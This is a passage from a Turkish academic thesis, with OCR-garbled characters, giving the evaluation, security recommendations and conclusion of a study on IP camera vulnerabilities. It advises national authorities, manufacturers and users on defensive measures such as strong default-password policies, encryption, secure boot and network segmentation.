gerekmeden telnet iizerinden tam yetki ile
erisim saglandig tespit edilmistir.
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5. DEGERLENDIRME VE ONERILER

Bu tez kapsaminda literatiirde yeralan bulgular ile tarafimizca elde edilen sonuglar birlikte

degerlendirildiginde,

Metasploit ¢ergevesi gibi denetim araglarinin hali hazirda ¢ok cesitli IP tabanli kamera
sistemlerini tehlikeye atmak i¢in kullanilabilen modiiller i¢erdigi,

Kiiresel dlgekte kameralarin cografi konumlarini, yiiklii yazilim hizmetlerini ve bazen
kullanict adi/sifre kombinasyonlarim1 da icerecek sekilde ayrintili verilerin
yayinladiginin tespit edildigi ¢ok sayida durumun bulundugu,

Yalnizca bir web tarayicist ve Shodan gibi bir arama motoru kullanan kd&tii niyetli bir
kisinin, IP tabanli kameralarin varligin1 gérece kolaylikla tespit edebildigi ve bireylerin
mahremiyetini kolaylikla tehlikeye atabilecegi,

Yetersiz kimlik dogrulama/yetkilendirme, gilivenli olmayan web araylizleri ve
yazilim/bellenimin yaygin giivenlik agiklar1 olmaya devam ettigi,

Yazilim c¢oziimlerinin birden c¢ok iiretici arasinda paylasilmasi nedeniyle, benzer
giivenlik agiklarinin birgok farkli marka ve model IP tabanli kamera i¢in gegerli oldugu,
Giivenligi ihlal edilmis bir IP tabanli kameraya erisimin ayni agdaki diger cihazlara
erismek i¢in bir ag gecidi olusturabilecegi ve dolayisiyla giivenli olmayan bir aga bagh
giivenli IP tabanli kamera ve giivenli bir aga bagl giivenli olmayan bir IP tabanh

kameranin, giivenli olmayan bir sistemle sonuglanacagi,

tespit edilmistir.

IP tabanli kameranin ele gecirilmesi ve bu sayede kisisel mahremiyeti iceren goriintii ve ses

iceriginin elde edilmesi basa gelebilecek en kotii senaryolardan biridir. Bu islemi

gerceklestiren kot niyetli kisi, merakli bir komsu olabilecegi gibi kamerayr farkli

nedenlerden dolayi ele geciren suclular da olabilir. IP tabanli kameralar; hirsizlik, casusluk,

suikast vb. suglarda;

kat planin1 6grenerek bir eve veya igyerine girilmesi,
kisilerin ne zaman gelip gideceklerini bilmek amaciyla hareketlerinin izlenmesi,

konut sahipleri uzaktayken, hirsizlik i¢in dogru zamanin yakalanmasi amaciyla canli
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goriintii tespiti,

- bir sorusturmay1 sabote etmek veya dikkati stipheliden uzaklastirmak amaciyla delillerin
ortadan kaldirilmasi,

- gizli bilgilerin goriilmesine yardimci olmak amaciyla, kameranin goriis agisinin
degistirilmesi,

- gizli tutulmas1 gereken kisisel bilgilerin ele gegirilmesi,

ve bunlar gibi bir ¢ok amagla kullanilabilmektedir.

Bir evde kullanilan IP tabanli kameranin kotii niyetli bir kisi tarafindan ele gegirilmesi
sebebiyle bireylerin kisisel mahremiyetleri ihlal edilirken; siber savas, siber terdrizm veya
siber casusluk kampanyalarinin bir pargasi olmasi durumunda s6z konusu risk etkisinin

kisisel riskten ¢ikarak alt yapiya veya iilke ¢apina yayilmasina neden olabilmektedir.

Bu kapsamda, Resim 5.1.’de 6zetlendigi gibi IP tabanli kamera sistemleri giivenliginde

sorumlu aktdrler; ulusal otorite, liretici ve kullanici olarak belirlendiginde genel olarak,

e Ulusal otoritelerin; cihazlara iligkin belirli standart ve politika hazirlanmasint ve

uygulanmasini saglayarak denetlemesi,

e Ureticilerin; tasarim ve iiretim asamasinda cihaz giivenligine iliskin tedbirler almas,

e Kullanicilarin ise; farkindaliklarinin ytiksek olup, dogru yapilandirma ile gilivenlik

kontrollerini yerine getirmesi,

dogrultusunda giivenlik 6nlemlerine iliskin degerlendirmelerde bulunulmus ve Oneriler

gelistirilmistir.
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Resim 5.1. IP tabanli kamera sistemleri giivenliginde sorumlu aktorler

5.1. Ulusal Otoritelere Tliskin Degerlendirme ve Oneriler

Uretici ve kullanici haklarmin gozetilmesi, gerekli oldugu durumlarda denetlenmesi ve
bunlarla ilgili standartlarin belirlenmesi uluslararasi organizasyonlarin ve ulusal otoritelerin

almasi gereken sorumluluklardir.

Ayrica, kullanicilarin egitimleri ile farkindaliklart konusunda da milli siber giivenlik
bilincinin olusmas1 ve yayginlagmasi i¢in iilkenin basin ve yayin organlarinin bu konuda

gorevler almasi saglanarak kamu spotlar1 hazirlanmasi faydali olacaktir.

IP tabanli kameralar i¢in donanim ve yazilim giivenlik standartlarinin olusturulmasi veya
uygun standartlarin kullanilmasinin saglanmasi, sistemlerde belirli bir giivenlik seviyesinin

olusturulmasina yardimc1 olacaktir.

Bilinen giivenlik agiklar: ile satisa sunulan veya temel kimlik dogrulama saldirilarindan
korunma mekanizmasi olmayan cihazlarin piyasada satilmasina izin verilmemeli ya da
risklerin belirtildigi etiketler veya bilgi notlaryla tiiketiciye sunulmasi saglanmalidir.

5.2. Ureticilere Iliskin Degerlendirme ve Oneriler

Nesnelerin interneti cihazlar1t ve dolayisiyla IP tabanli kameralarin kullanimi hizla

yayginlastigindan dolayi, giivenlik ve gizlilik tasarimlar1 sonradan diisiiniilmemeli, giivenlik
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ve gizlilik ihlallerine engel olmak amaciyla cihazlarin tasarim ve iiretim asamalarinda bu

hususlar titizlikle degerlendirilmelidir.

Cihazlar, tiretim sistemleri, diger iireticiler ve kullanicilar da dikkate alinarak, gelistirme
yagam dongiilerini de igerecek sekilde bilgi giivenligi politikalar1 olusturulup

uygulanmalidir.

Cihaz tasarimi asamasinda; on goriilebilecek veri hassasiyetleri ile giivenlik risklerinin
tirleri ve sayilari da goz Oniinde bulundurularak, giivenlik ve gizlilik acisindan risk

degerlendirmesi yapilmalidir.

Diizenli giivenlik denetimleri ile risk azaltma stratejileri planlanmali ve uygulanmalidir.

Kalite testleri icin yeterli zaman ve kaynak tahsis edilmelidir.

Sistemlerdeki mevcut ve olas1 gilivenlik agiklarmin kataloglanarak giderilmesi ig¢in

calismalar yapilmalidir.

Uretim agsamasinda; gegici olmayan ve iizerine yeniden yazilamayan bir bellek yongasi
vasitasiyla, cihazin fabrika ayarlarina giivenli bir sekilde donebilmesi i¢in sifirlama diigmesi

tasarlanmalidir.

Ureticiler, kullanicilarin cihaz kurulumu yaptiktan sonra ilk kurulumla gelen varsayilan
sifreleri degistirmeleri i¢in kullanicilarin karsisina mesajlar ¢ikartmali ya da varsayilan
sifreyi degistirmeye kullanicilar1 zorunlu tutmalidir. Cihazlar tak calistir olarak adlandirilan
kolay kuruluma sahip iirtinler oldugu icin her {iriin benzersiz bir sifre ile sifreli bir sekilde
satilmali, sifre kullaniciya iriin ile birlikte verilerek ilk kurulum sonrasi degistirmeye
mecbur birakilmalidir. Ureticiler bilyiik harf, kiigiik harf, sembol ve rakam igermeyen parola
koyabilmeyi engellemeli ve kullanicilarin giiglii parolalar koymasini zorunlu hale
getirmelidir. Parola giris ekranina yanlis parola deneme sinirlart konulmali, belli bir
denemeden sonra “siire beklemeli deneme” ya da insan bilgisayar ayrimi i¢in kullanilan test

(captcha) seklinde kaba kuvvet saldirilarini engelleyici yazilimlar kullanilmalidir.

Donanim tasarimlarina, aygit yazilimi uygulamalarina, iletisim ve giivenlik protokollerine
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dogrulama teknikleri uygulanmalidir. Kullanict hesaplarinda iki faktorlic dogrulama
kullanilarak, kullanicinin eristigi cihaz kaydedilip farkli bir cihazdan erigsmek isterse cihaz
iizerinden oturum acgabilmesi i¢in iki faktorlii dogrulama adimlarinin tamamlanip, yetkili bir

kullanici oldugu teyit edilmelidir.

Cihazda, onyiikleme ve isletim sistemi yaziliminin iiretici siiriimii olmasini ve kotli amagl
yazilimlar veya kotii niyetli tiglincii kisiler tarafindan tahrif edilmemesini saglayan, giivenli

onyiikleme 6zelligi olmalidir.

Ureticiler, veri iletisim fonksiyonunu sifreli olarak planlamali, cihaz kullanici adi, sifre
bilgileri ile kablosuz ag ismi ve sifresi diiz metin olarak iletisim paketlerinde
kullanilmamalidir. Bunun gibi bilgiler ilk eslestirme paketinde sifreli bir sekilde
gonderilmeli daha sonraki iletisimin devaminda gonderilen paketlerde hash olarak

gonderilmelidir.

Kurulum sirasinda, kameralar bir erisim noktasi olusturdugunda ve mobil uygulamasinin
kurulum prosediiriinii gergeklestirmek i¢in ona baglanmasi beklendiginde, iireticiler erisim
noktasini giivenli hale getirmeli ve saldirganlarin kurban kimligine biiriinmesini 6énlemek

amactyla ona bagli cihaz i¢in bir kimlik dogrulama saglamalidir.

Kameralar, kurulum sonrasinda iiretici firma tarafindan yayimnlanan cihaz yazilim
giincellemeleri ile kullanmadan 6nce son yayinlanan versiyona giincellenmelidir. Yeni bir
cithaz yazilim gilincellemesi yaymlandiginda kullanicilarin bundan haberdar olabilmesi ve
kolayca gilincelleyebilmesi i¢in kullanicilara otomatik giincelleme bildirimleri
gonderilmelidir. Cihaza nasil yama uygulayacagina dair adim adim agiklamali videolar

bulunmali ve talimatlar kullanim kilavuzuna eklenmelidir.

Uretici, bulut kontrol igin kendi sunucusu iizerinden génderecegi tiim trafigi SSL

sertifikalar ile sifreleyerek saglamalidir.

Gelistiriciler, uygulamanin kullanilmayan veya gereksiz izinler istemeden gorevlerini yerine

getirmesini saglamalidir.

Video igeriginin biitiinliiglinii saglamak i¢in, goriintiide gizlenen ve goriintii kurcalandiginda
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bozulan ince bir sinyal olan, dijital filigranlar (DW) kullanilabilir [ 100]. Bu sekilde izleyici,
her karenin mesru oldugunu dogrulayabilecektir. DW'leri kullanmanin avantaji, video veya
ag protokollerinde degisiklik gerektirmemeleridir; ancak, goriintiiye parazit ekleyebilir ve

video sikistirmasi durumunda bozulabilmektedir.

Shodan gibi nesnelerin interneti arama motorlarinin yardimiyla nesnelerin interneti
cihazlarinin tespit edilerek DDoS saldirisinin ilk kesif asamasinin atlatilmasi ile bu saldirilar
kolaylagsmistir. Cihazlarin DDoS saldirilarina maruz kalmasi durumunda istekleri
karsilayamadigini tespit eden bir hata mekanizmasi olmali ve cihazlar taleplerin ¢cok oldugu

durumlarda bu talepleri karsilayamayacagini yonetici olan kullaniciya bildirmelidir.

IP tabanli kameranin cihaz yaziliminda donanim ve yazilim bilgilerinin yer aldig1 satirlar
baska bir marka ve model bilgisi ile degistirilerek, saldirganlarin yanlis marka ve model i¢in
zaafiyet arastirmasi yaparak yanlis ya da ise yaramayan saldiri teknikleri (exploit vb.)

kullanimina yonlendirilmesi suretiyle de giivenlik saglanabilmesi miimkiin olabilecektir.

ARP Zehirlenmesini ve sahtekarligin1 6nlemek igin cihazlar, yeni girislere giivenmeden ve
kabul etmeden 6nce agdaki cihazlarla mevcut ARP 6nbellegini kontrol etmelidir. Saldirgan,
kullanimda oldugu bilinen bir IP adresine sahip oldugunu iddia ederse, ortadaki adam

saldiris1 basarisiz olabilecektir.

5.3. Kullanicilara fliskin Degerlendirme ve Oneriler

Toplumdaki pek cok kisi, IP tabanli kameralarin ne diizeyde giivenli oldugunu bilmemekte
veya Onemsememektedir. Kamera ¢ekim yapiyor, amaci dogrultusunda uzaktan
izlenebiliyorsa ve uygun fiyatliysa, kullanicilar giivenlik konusunu diisiinmeyebilmektedir.
Kullanicilar egitilmeli ve farkindaliklart arttirilmalidir, ¢linkii egitimli bir kullanici
mahremiyetini ortaya ¢ikaran bir iirlin satin almayacak ve iireticiler de satamayacaklari

tirlinlere yatirim yapmayacaktir.

Bu kapsamda kullanicilar, potansiyel saldirilar, istenmeyen mesajlar ve yanlis bahanelerle
yapilan istekler konusunda ve sosyal miihendislik saldirilarina karsin egitilmeli ve bu
egitimler kurum ve kuruluslarda en yetkisiz personelden en yetkili personele kadar diizenli

olarak verilmeli, okullarda ¢ocuklara iliskin gergeklestirilen farkindalik etkinlikleri siirekli
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olmali ve yayginlastirilmali, tiim kullanicilar i¢in de kamu spotlar ile desteklenmelidir.

Kullanici, ev agmin konfigiirasyonunu kurarken veya degistirirken, bilgisayar aglar1 ve
bilgisayar giivenligi hakkinda yeterli bilgiye sahip olmayabilmektedir. Genelde, mevcut ev
ag1 ekipmani, yeterli diizeyde giivenlik saglamak i¢in yeterli mekanizmalari
desteklemektedir. Ancak, bu yetenekler dogru yapilmayan bir konfigiirasyon nedeniyle her
zaman kullanilamayabilmektedir. Bu nedenle donanimlarin  veya cihazlarin

konfigiirasyonlar1 dogru bir sekilde yapilandirilmalidir.

Tiim cihazlarin yazilimimin giincel olup olmadig1 periyodik olarak kontrol edilmeli ve son

versiyona giincellenmelidir.

Kullanicilar kendi statik IP adresleri tizerinden gerceklestirecegi akilli kamera kayitlar: gibi

trafikleri kendilerinin temin edecegi SSL sertifikalar ile sifrelenmesini saglamalidir.

Kullanicilar, kablosuz aglar i¢in farkli bir VLAN kullanmali, misafirler i¢in de misafir ag1
olusturarak gecici olarak internet paylasmak istedikleri kisilerin bu ag1 kullanmalarinm

saglamalidir.

Kamera ile sebeke arasinda sifrelenmis bir sanal 6zel ag (VPN) baglantis1 kurmak da
kameradan aga verilen bilgilerin biitiinligiini tehlikeye atacak liglincii kisilerin erigim

thtimalini azaltacaktir.

Kameraya yonelik belki de en giiclii tehditlerin yerel ag1 gizlice dinleyenlerden geldigi
diisiiniildiigiinde, miikemmel olmasa da, kablosuz iletimler i¢in WEP'ten daha giivenli

olarak kabul edilen WPA2 sifreleme standardi kullanilmalidir.

Kablosuz ag baglantisina baglanan cihazlarin MAC adreslerine gore erisim izni verilmesi
kablosuz ag giivenligini arttirmaktadir. Modem {iizerinden ag icin MAC adres filtrelemesi

acilmalidir.

[P tabanli kameralarda bulunan gercek zamanli yayin protokoliiniin dogrulama 6zelligi bazi
kameralarda kapali olarak gelmektedir. Bu dogrulama giivenliginin agik olmasi ve
varsayllan olarak gelen 554 portunun kullanicilar tarafindan degistirilmesi kamera

gorilintiilerinin giivenligi agisindan énemlidir.
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Kullanicilar, olay giinliigli kayitlarini yetkisiz erigimin olup olmadigini anlamak i¢in belirli
araliklarla kontrol etmelidir. Yetkisiz erisim durumunda yapilan islemler bu kayitlar

sayesinde tespit edilebilmektedir.

IP tabanli kameralar iizerinde bulunan canli yayin akigin1 ¢oklu yayin olarak aktarmaya
yarayan Ozelligi, eger kamera goriintiileri farkli depolama cihazlarina kaydedilmiyorsa

kapatilmalidir.

IP tabanli kameralarda bulunan anonim baglantilarin kapali olmas1 gerekmektedir. Aksi
takdirde kamera internet iizerinden oturum agmadan yayin yapan kameralar gibi calisacak

ve goriintiilerin baskalar1 tarafindan izlenmesi saglanacaktir.

Modem ve ydnlendirici iizerinde bulunan, IP tabanli kameralarin kolayca algilanmasi i¢in
gelistirilen ve birgok gilivenlik agig1 barindiran, tak calistir olarak adlandirilan UPnP

oOzellikleri devre dis1 birakilmalidir.

Internette arama yaparken cihazlarin kesfedilememesi i¢in, miimkiin oldugunca IP tabanli

kameralar internetten gizlenmelidir.

Kameralara ve/veya fiziksel depolama araci kullanilmaktaysa bunlara fiziksel erigim

kisitlanmali, SD kartin parola korumali olmasina dikkat edilmelidir.

Giivenlik kontrolleri uygulanmali ve cihazlar, aglar ile altyapmin gecirgenligi

degerlendirilerek giincel olmasi saglanmalidir.

Kot amagh yazilim bulagmalarini tespit etmek ve dnlemek i¢in, kullanici terminallerine ve

DVR'lara viriisten koruma yazilimi yiiklenmelidir.

IP tabanli kameralarin kurulu bulundugu sistemlerde giincel antivirlis yazilimlari ve
giivenlik duvar1 kullanilmalidir. Saldirganin giivenlik duvarindan ge¢mesi durumunda
saldirilara miidahale edilebilmesi i¢in saldir1 tespit sistemi ile siirekli izlenmelidir. Saldirt
tespit sistemleri ile giivenli i¢ aglara yapilan saldirilar ve beklenmeyen erisim talepleri tespit
edildiginde tercihen sistem kendi kendine aksiyon almali ve kullaniciyr bu islem hakkinda

bilgilendirmelidir.
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Kullanici adi1 ve parola bilgisi elde etmek i¢in yapilan kaba kuvvet ve sozliik saldirilarinin
engellenmesi i¢in, varsayilan kullanic1 kimligi ve parolalar1 degistirilmeli veya sistemden
kaldirilmalidir. Giiglii, glivenli bir parola kullanilmas1 kaba kuvvet saldiris1 ger¢eklestirmek

i¢cin harcanan zamani ve ¢abayi artiracak bu sayede saldirgan saldiridan vazgecebilecektir.
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6. SONUC

IP tabanli kameralarin kullanim amaci, bir ev veya isletme sahibinin; miilklerini,
calisanlarini1 veya aile bireylerini ve olaylarin1 kontrol etmek i¢in uzaktan izlemesidir. Bu
tez ¢alismasinda sadece ayni agda olup, internet baglantisi olan, kotii niyetli birinin, internet
tizerinde bulunabilen bilgileri kullanarak, IP tabanli kameralara karsi saldir1 gelistirip,
kamera goriintiisii ile kameranin yonetimini ele gegirebilecegi tespit edilmistir. Uygulama
sonucu ile literatiirde yapilan ¢calismalarin sonuglari karsilastirilmis ve IP tabanli kameralarin
giivenlik ve gizlilik riskleri analiz edilmistir. Bu kapsamda, tezde bahsedilen giivenlik
aciklar1 g6z Oniline alindiginda; IP tabanli kamera sahibinin, goriintiileri izleyen tek kisi

olmayabilecegi ortaya ¢ikmaktadir.

Nesnelerin interneti teknolojisinin heniiz yeni bir teknoloji oldugu, kullanim oraninin hizla
arttigr ve yayginlagtigi géz oniinde bulunduruldugunda; gelecekte giivenlik zafiyetlerinin
cok ciddi problemlere yol acacagi kaginilmaz bir gercektir. Bu sebeple; tez caligmasi
kapsaminda, nesnelerin internetinin bir pargasi olan, IP tabanli kameralara yonelik olarak
ulusal otoriteler, ireticiler ve kullanicilar tarafindan tedbir alinmasi gerektigi

degerlendirilmis ve bu dogrultuda 6neriler sunulmustur.
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